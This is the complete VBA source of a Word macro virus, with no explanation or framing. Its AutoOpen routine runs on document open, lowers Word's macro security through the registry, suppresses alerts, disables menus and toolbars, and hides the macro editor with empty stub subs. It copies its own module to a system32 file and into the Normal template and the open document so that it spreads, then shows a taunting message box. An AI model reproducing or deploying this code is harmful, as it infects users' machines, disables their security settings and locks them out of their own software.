Sub ViewVBCode()

End Sub

Sub ToolsMacro()

End Sub

Sub AutoOpen()

    On Error Resume Next

    Application.DisplayAlerts = wdAlertsNone

    Application.EnableCancelKey = wdCancelDisabled

    Application.DisplayScrollBars = False

    Application.DisplayStatusBar = False

    Application.ScreenUpdating = False

    Options.VisualSelection = wdVisualSelectionBlock

    Options.SaveNormalPrompt = False

    Options.ConfirmConversions = False

    Application.ActiveWindow = False

    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security", "Level") = 1&

    For i = 1 To 100

       For j = 1 To 100

        CommandBars(i).Controls(j).Enabled = False

       Next j

    Next i

    Set Doc = ActiveDocument.VBProject.VBComponents

    Set Tmp = NormalTemplate.VBProject.VBComponents

    Const ExportSource = "C:\WINDOWS\system32\MsDtc\Trace\joke.sys"

    Const VM = "hahahaha"

    Application.VBE.ActiveVBProject.VBComponents(VM).Export ExportSource

    For i = 1 To Tmp.Count

        If Tmp(i).Name = VM Then TmpInstalled = 1

    Next i

    For j = 1 To Tmp.Count

        If Doc(j).Name = VM Then DocInstalled = 1

    Next j

    If TmpInstalled = 0 Then

        Tmp.Import ExportSource

        NormalTemplate.Save

    End If

    If DocInstalled = 0 Then

        Doc.Import ExportSource

        ActiveDocument.SaveAs ActiveDocument.FullName

    End If

    MsgBox VM, 0, "hhhhhhhhhh"

End Sub